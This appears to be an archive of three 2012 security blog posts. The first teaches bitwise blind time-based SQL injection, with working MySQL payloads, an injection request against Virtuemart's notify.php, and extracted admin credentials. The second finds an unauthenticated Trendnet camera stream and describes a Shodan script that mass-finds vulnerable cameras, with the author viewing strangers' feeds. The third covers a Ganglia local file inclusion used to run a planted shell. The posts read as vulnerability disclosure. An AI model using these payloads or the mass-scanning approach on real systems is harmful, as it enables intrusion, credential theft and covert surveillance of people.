Saturday, January 21, 2012

Bit Banging your Database

This post will be about stealing data from a database one bit at a time. Most of the time pulling data from a database a bit at a time would not be ideal or desirable, but in certain cases it will work just fine. For instance when dealing with a blind time based sql injection. To bring anyone who is not aware of what a "blind time based" sql injection is up to speed - this is a condition where it is possible to inject into a sql statement that is executed by the database, but the application gives no indication about the result of the query. This is normally exploited by injecting boolean statements into a query and making the database pause for a determined about of time before returning a response. Think of it as playing a game "guess who" with the database.

Now that we have the basic idea out of the way we can move onto how this is normally done and then onto the target of this post. Normally a sensitive item in the database is targeted, such as a username and password. Once we know where this item lives in the database we would first determine the length of the item, so for example an administrator's username. All examples below are being executed on an mysql database hosting a Joomla install. Since the example database is a Joomla web application database, we would want to execute a query like the following on the database:
select length(username) from jos_users where usertype = 'Super Administrator';
Because we can't return the value back directly we have to make a query like the following iteratively:

select if(length(username)=1,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
select if(length(username)=2,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
We would keep incrementing the number we compare the length of the username to until the database paused (benchmark function hit). In this case it would be 5 requests until our statement was true and the benchmark was hit. 

Examples showing time difference:
 mysql> select if(length(username)=1,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
1 row in set (0.00 sec)
mysql> select if(length(username)=5,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
1 row in set (0.85 sec)
Now in the instance of the password, the field is 65 characters long, so it would require 65 requests to discover the length of the password using this same technique. This is where we get to the topic of the post, we can actually determine the length of any field in only 8 requests (up to 255). By querying the value bit by bit we can determine if a bit is set or not by using a boolean statement again. We will use the following to test each bit of our value: 

Start with checking the most significant bit and continue to the least significant bit, value is '65':
value & 128 

value & 64
value & 32
value & 16
value & 8

value & 4
value & 2
value & 1
The items that have been highlighted in red identify where we would have a bit set (1), this is also the what we will use to satisfy our boolean statement to identify a 'true' statement. The following example shows the previous example being executed on the database, we identify set bits by running a benchmark to make the database pause:

mysql> select if(length(password) & 128,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)
mysql> select if(length(password) & 64,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (7.91 sec)

mysql> select if(length(password) & 32,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 16,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 8,benchmark(50000000,md5('cc')),0)  from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 4,benchmark(50000000,md5('cc')),0)  from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 2,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 1,benchmark(50000000,md5('cc')),0)  from jos_users;
1 row in set (8.74 sec)
As you can see, whenever we satisfy the boolean statement we get a delay in our response, we can mark that bit as being set (1) and all others as being unset (0). This gives us 01000001 or 65. Now that we have figured out how long our target value is we can move onto extracting its value from the database. Normally this is done using a substring function to move through the value character by character. At each offset we would test its value against a list of characters until our boolean statement was satisfied, indicating we have found the correct character. Example of this:

select if(substring(password,1,1)='a',benchmark(50000000,md5('cc')),0) as query from jos_users;
This works but depending on how your character set that you are searching with is setup can effect how many requests it will take to find a character, especially when considering case sensitive values. Consider the following password hash:
If you searched for this string a character at a time using the following character scheme [0-9A-Za-z] it would take about 1400 requests. If we apply our previous method of extracting a bit at a time we will only make 520 requests (65*8). The following example shows the extraction of the first character in this password:

mysql> select if(ord(substring(password,1,1)) & 128,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
mysql> select if(ord(substring(password,1,1)) & 64,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (7.91 sec)
mysql> select if(ord(substring(password,1,1)) & 32,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (7.93 sec)
mysql> select if(ord(substring(password,1,1)) & 16,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
mysql> select if(ord(substring(password,1,1)) & 8,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
mysql> select if(ord(substring(password,1,1)) & 4,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (7.91 sec)
mysql> select if(ord(substring(password,1,1)) & 2,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
mysql> select if(ord(substring(password,1,1)) & 1,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
Again I have highlighted the requests where the bit was set in red. According to these queries the value is 01100100 (100) which is equal to 'd'. The offset of the substring would be incremented and the next character would be found until we reached the length of the value that we found earlier.

Now that the brief lesson is over we can move on to actually exploiting something using this technique. Our target is Virtuemart. Virtuemart is a free shopping cart module for the Joomla platform. Awhile back I had found an unauthenticated sql injection vulnerability in version 1.1.7a. This issue was fixed promptly by the vendor (...I was amazed) in version 1.1.8. The offending code was located in "$JOOMLA/administrator/components/com_virtuemart/notify.php" :

          if($order_id === "" || $order_id === null)
                        $vmLogger->debug("Could not find order ID via invoice");
                        $vmLogger->debug("Trying to get via TransactionID: ".$txn_id);
$qv = "SELECT * FROM `#__{vm}_order_payment` WHERE `order_payment_trans_id` = '".$txn_id."'";
                        if( !$db->next_record()) {
                                $vmLogger->err("Error: No Records Found.");
The $txn_id variable is set by a post variable of the same name. The following example will cause the web server to delay before returning:

POST /administrator/components/com_virtuemart/notify.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
invoice=1&txn_id=1' or benchmark(50000000,md5('cc'));#  
Now that an insertion point has been identified we can automate the extraction of the "Super Administrator" account from the system:
python ""
[*] Getting string length
[+] username length is:5
[+] username:admin
[*] Getting string length
[+] password length is:65
[+] password:da798ac6e482b14021625d3fad853337:skxuqNW1GkeWWldHw6j1bFDHR4Av5SfL
The "" script can be downloaded here.

Tuesday, January 10, 2012

Trendnet Cameras - I always feel like somebody's watching me.

Firstly this post requires the following song to be playing.

Now that we got that out of the way... I have been seeing posts on sites with people having fun with embedded systems/devices and I was feeling left out. I didn't really want to go out and buy a device so I looked at what was laying around. 

To start off the latest firmware for this device can be found at the following location :

First order of business was to update the camera with the most recent firmware:
Device info page confirming firmware version
Now that the device was using the same version of firmware as I was going to dive into, lets get to work. I will be using binwalk to fingerprint file headers that exist inside the firmware file. Binwalk can be downloaded from the following url:

Running binwalk against the firmware file 
binwalk FW_TV-IP110W_1.1.0-104_20110325_r1006.pck 
32320     0x7E40     gzip compressed data, from Unix, last modified: Thu Mar 24 22:59:08 2011, max compression
679136     0xA5CE0   gzip compressed data, was "rootfs", from Unix, last modified: Thu Mar 24 22:59:09 2011, max compression
Looks like there are two gzip files in the "pck" file. Lets carve them out using 'dd'. First cut the head off the file and save it off as '1_unk'
#dd if=FW_TV-IP110W_1.1.0-104_20110325_r1006.pck of=1_unk bs=1 count=32320
32320+0 records in
32320+0 records out
32320 bytes (32 kB) copied, 0.167867 s, 193 kB/s
Next cut out the first gzip file that was identified, we will call this file '2'
#dd if=FW_TV-IP110W_1.1.0-104_20110325_r1006.pck of=2 bs=1 skip=32320 count=646816
646816+0 records in
646816+0 records out
646816 bytes (647 kB) copied, 2.87656 s, 225 kB/s
Finally cut the last part of the file out that was identified as being a gzip file, call this file '3'
#dd if=FW_TV-IP110W_1.1.0-104_20110325_r1006.pck of=3 bs=1 skip=679136
2008256+0 records in
2008256+0 records out
2008256 bytes (2.0 MB) copied, 8.84203 s, 227 kB/s
For this post I am going to ignore files '1_unk' and '2' and just concentrate on file '3' as it contains an interesting bug :) Make a copy of the file '3' and extract it using gunzip
#file 3
3: gzip compressed data, was "rootfs", from Unix, last modified: Thu Mar 24 22:59:09 2011, max compression
#cp 3 3z.gz
#gunzip 3z.gz
gzip: 3z.gz: decompression OK, trailing garbage ignored
#file 3z
3z: Minix filesystem, 30 char names
As we can see the file '3' was a compressed Minix file system. Lets mount it and take a look around.
#mkdir cameraFS
#sudo mount -o loop -t minix 3z cameraFS/
#cd cameraFS/
bin  dev  etc  lib  linuxrc  mnt  proc  sbin  server  tmp  usr  var
There is all sorts of interesting stuff in the "/server" directory but we are going to zero in on a specific directory "/server/cgi-bin/anony/"
#cd server/cgi-bin/anony/
jpgview.htm  mjpeg.cgi  mjpg.cgi  view2.cgi
The "cgi-bin" directory is mapped to the root directory of http server of the camera, knowing this we can make a request to and surprisingly we get a live stream from the camera. 

video stream. giving no fucks.

Now at first I am thinking, well the directory is named "anony" that means anonymous so this must be something that is enabled in the settings that we can disable.... Looking at the configuration screen you can see where users can be configured to access the camera. The following screen shows the users I have configured (user, guest)
Users configured with passwords.

Still after setting up users with passwords the camera is more than happy to let me view its video stream by making our previous request. There does not appear to be a way to disable access to the video stream, I can't really believe this is something that is intended by the manufacturer. Lets see who is out there :)

Because the web server requires authentication to access it (normally) we can use this information to fingerprint the camera easily. We can use the realm of 'netcam' to conduct our searches 
HTTP Auth with 'netcam' realm
Hopping on over to Shodan ( we can search for 'netcam' and see if there is anyone out there for us to watch
9,500 results
If we check a few we can see this is limited to only those results with the realm of 'netcam' and not 'Netcam'
creepy hole in the wall

front doors to some business
Doing this manually is boring and tedious, wouldn't it be great if we could automagically walk through all 9,500 results and log the 'good' hosts....

This python script requires the shodan api libs and an API key. It will crawl the shodan results and check if the device is vulnerable and log it. The only caveat here is that the shodan file needs to be edited to allow for including result page offsets. I have highlighted the required changes below.
    def search(self, query,page=1):
        """Search the SHODAN database.
        query    -- search query; identical syntax to the website
        page     -- page number of results      

        A dictionary with 3 main items: matches, countries and total.
        Visit the website for more detailed information.
        return self._request('search', {'q': query,'page':page})

Last I ran this there was something like 350 vulnerable devices that were available via shodan. Enjoy.

Update: We are in no way associated with the @TRENDnetExposed twitter account.

Monday, January 9, 2012

Ganglia Monitoring System LFI

Awhile back when doing a pentest I ran into an interesting web application on a server that was acting as a gateway into a juicy environment *cough*pci*cough*, the application was “Ganglia Monitoring System”
The scope of the test was extremely limited and it wasn't looking good....the host that was in scope had a ton of little stuff but nothing that looked like it would give me a solid foothold into the target network. After spending some time looking for obvious ways into the system I figured it would be worth looking at the Ganglia application, especially since I could find no public exploits for the app in the usual places....

First step was to build a lab up on a VM (ubuntu)
apt-get install ganglia-webfrontend

After apt was done doing its thing I went ahead and started poking around in the web front end files (/usr/share/ganglia-webfrontend). I looked to see if the application had any sort of admin functionality that I could abuse or some sort of insecure direct object reference issues. Nothing looked good. I moved on to auditing the php.

Started out with a simple grep looking for php includes that used a

steponequit@steponequit-desktop:/usr/share/ganglia-webfrontend$ egrep 'include.*\$' * if( isset( $this->tpl_include[ $regs[2] ]) ) $tpl_file = $this->tpl_include[ $regs[2] ][0]; $type = $this->tpl_include[ $regs[2] ][1]; if( isset( $this->tpl_include[ $regs[2] ]) ) $include_file = $this->tpl_include[ $regs[2] ][0]; $type = $this->tpl_include[ $regs[2] ][1]; $include_file = $regs[2]; if( !@include_once( $include_file ) ) $this->__errorAlert( 'TemplatePower Error: Couldn\'t include script [ '. $include_file .' ]!' ); $this->tpl_include["$iblockname"] = Array( $value, $type );
graph.php: include_once($graph_file);
The graph.php line jumped out at me. Looking into the file it was obvious this variable was built from user input :)
$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : NULL;
$graph_file = "$graphdir/$graph.php";

Taking at look at the "sanitize" function I can see this shouldn't upset any file include fun

function sanitize ( $string ) {
return escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;

# If arg is a valid number, return it. Otherwise, return null.
function clean_number( $value )
return is_numeric( $value ) ? $value : null;
Going back to the graph.php file

$graph_file = "$graphdir/$graph.php";

if ( is_readable($graph_file) ) {

$graph_function = "graph_${graph}";
$graph_function($rrdtool_graph); // Pass by reference call, $rrdtool_graph modified inplace
} else {
/* Bad stuff happened. */
error_log("Tried to load graph file [$graph_file], but failed. Invalid graph, aborting.");

We can see here that our $graph value is inserted into the target string $graph_file with a directory on the front and a php extension on the end. The script then checks to make sure it can read the file that has been specified and finally includes it, looks good to me :).
The start of our string is defined in conf.php as "$graphdir='./graph.d'", this poses no issue as we can traverse back to the root of the file system using "../../../../../../../../". The part that does pose some annoyance is that our target file must end with ".php". So on my lab box I put a php file (phpinfo) in "/tmp" and tried including it...

Win. Not ideal, but it could work....

Going back to the real environment with this it was possible to leverage this seemingly limited vulnerability by putting a file (php shell) on the nfs server that was being used by the target server, this information was gathered from a seemingly low vuln - "public" snmp string. Once the file was placed on nfs it was only a matter of making the include call. All in a hard days work.

I have also briefly looked at the latest version of the Ganglia web front end code and it appears that this vuln still exists (graph.php)

$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : "metric";
$php_report_file = $conf['graphdir'] . "/" . $graph . ".php";
$json_report_file = $conf['graphdir'] . "/" . $graph . ".json";
if( is_file( $php_report_file ) ) {
include_once $php_report_file;

tl;dr; wrap up - “Ganglia Monitoring System” contains a LFI vulnerability in the "graph.php" file. Any local php files can be included by passing its location to the "g" parameter -